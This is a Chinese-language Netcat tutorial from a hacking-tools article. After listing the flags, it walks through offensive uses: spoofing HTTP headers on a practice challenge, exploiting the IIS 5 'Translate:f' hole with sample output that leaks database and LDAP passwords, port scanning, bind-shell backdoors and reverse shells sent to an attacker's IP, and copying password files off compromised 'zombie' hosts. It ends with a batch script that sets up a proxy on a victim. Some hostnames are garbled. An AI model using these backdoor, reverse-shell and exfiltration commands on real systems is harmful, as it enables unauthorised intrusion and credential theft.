工具技巧
Netcat 就我的一些使用心得和一些幫助文檔中，做一些介紹與大家共勉。
win98用戶可以在autoexec.bat加入path=nc的路徑，win2000用戶在環境變數中加入path中，linux含有這個命令（redhat）
基本使用
想要連線到某處：
綁定連線埠等待連線：
參數：
| 參數 | 說明 |
| -C | 類似-L選項，一直不斷連線[1.13版本新加的功能] |
| -d | 後台執行 |
| -e prog | 程式重定向，一旦連線，就執行 [危險！！] |
| -g gateway | 源路由跳數,最大值為8(source-routing hop point[s],up to 8) |
| -G num | 源路由指針:4,8,12,... (source-routing pointer: 4,8,12,...) |
| -h | 幫助信息 |
| -i secs | 延時的間隔 |
| -l | 監聽模式，用於入站連線 |
| -n | 指定數字的IP位址，不能用hostname |
| -o file | 記錄16進制的傳輸 |
| -p port | 本地連線埠號 |
| -r | 任意指定本地及遠程連線埠 |
| -s addr | 本地源地址 |
| -u | UDP模式,[netcat-1.15可以:遠程nc -ulp port -e cmd.exe，本地nc -u ip port連線，得到一個shell.] |
| -v | 詳細輸出——用兩個-v可得到更詳細的內容 |
| -w secs | 指定逾時的時間 |
| -z | 將輸入輸出關掉——用於掃描時 |
其中連線埠號可以指定一個或者用lo-hi式的指定範圍。
例如：掃描連線埠
tcp掃描
udp掃描
高級套用
1．Window用法：
⑴IE的MIME欺騙
www.try2hack.nl（是一個讓初學黑客技術的人去做實驗的站點）
打開這個頁面，有http://www.try2hack/cgi-bin/level7頁面（這個網站提供了黑客的8關，過了這8關證明你開始入門了），這個頁面告訴我們的瀏覽器不是 IE6.72，我們的作業系統不是LIUNX，我們不是從www.microsoft/ms重定向連結過去的，有病阿（這是一個題目呀，要慢慢研究），linux有IE6.72? 微軟會在它的頁面上放的連結？看看頁面的原始碼，是在伺服器端 執行的perl腳本，根本無法看到，還是研究一下IE5和它通信時都告訴了它什麼，抓包，我們會發現，我們的IE5告訴對方：我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。哈哈，這個cgi應該是根據這些信息知道我們不是它要求的 客戶，嘿嘿，需要欺騙對方才行，用軍刀來可以實現，如下做就可以哄對方了：
nc www.try2hack80 [enter]
GET /cgi-bin/level7HTTP/1.1 [enter]
Accept: image/gif,image/x-xbitmap,application/msword,*/* [enter]
Refererhttp://www.microsoft/ms.htm [enter]
Accept-Language: zh-cn [enter]
Accept-Encoding: gzip,deflate [enter]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986） [enter]
Host: www.try2hack [enter]
Connection:
Keep-Alive [enter]
注意，如果出現HTTP 400時，說明你輸入格式有問題，出現httpd 200回應時，就給出結果了：
哈哈！趕快去實現一下（實踐是成功之母）
⑵ⅡS 5 “Translate:f” 顯示代碼脆弱點
Translate:f脆弱點的機制：傳送一個畸形的HTTP GET 請求給伺服器方一個可執行腳本或相關檔案類型（例如.ASP或者global.asa）。這些檔案是用於伺服器上運行的，絕不會到客戶機上去，而這個請求就會導致ⅡS將這種檔案的內容傳送到遠端的客戶機上，而不是在伺服器上運行。這種畸形的HTTP GET請求的關鍵特性是該請求的末尾有一個特定的頭信息Translate:f，並有一個反斜槓”\”附於URL之後。下面就有這樣的一個例子（[CRLF]代表回車字元）
注意 GET global.asa 後的反斜槓以及Translate:f頭信息。
GET /global.asa\ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
將以上內容保存在一個文本檔案中（例如example.txt）
然後向一個有這個漏洞的伺服器傳送
c:\>type example.txt | nc –nvv 192.168.0.80 80
（UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-ⅡS/5.0
Date: Tue,03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed,13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
（“ConnectionText”） = “Dsn=ph;UID=myman;Password=mygod）”
（“LDAPServer”） = “LADP://ldap.:389”
（“LDAPUserID”） = “CN=Admin”
（“LDAPPwd”） = “mygod”
………
3.1.連線埠的刺探
nc -vv ip port
RⅣER [192.168.0.198] 19190 (?) open //顯示是否開放open
⒊2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡，系統管理員會額外小心
⒊3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連線victim_IP，然後得到一個shell。
⒊4.反向連線
attacker machine: //一般是sql2.exe，遠程溢出，webdavx3.exe攻擊.
//或者wollf的反向連線.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者：
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s（nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP）
這樣就可以保證nc.exe優先於NETBIOS。
⒊5.傳送檔案：
⒊5.1 attacker machine <-- victim machine //從肉雞拖密碼檔案回來.
nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行（終端登入，不如安裝FTP方便）.否則沒有辦法輸入Crl+C.
⒊5.2 attacker machine --> victim machine //上傳命令檔案到肉雞
nc －vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell執行
//這樣比較好.我們登入終端.入侵其他的肉雞.可以選擇shell模式登入.
結論： 可以傳輸ascii,bin檔案.可以傳輸程式檔案.
問題：連線某個ip後，傳送完成後，需要傳送Ctrl+C退出nc.exe .
或者只有再次連線使用pskill.exe 殺掉進程.但是是否釋放傳輸檔案打開的句柄了?
⒊6 連線埠數據抓包.
nc -vv -w 2 -o test.txt www. 80 21-15
< 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 #,command "" unr
<6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00 00 01 8f # .....
⒊7 telnet，自動批處理。★★★★★我要重點推薦的東西就是這個.
nc victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
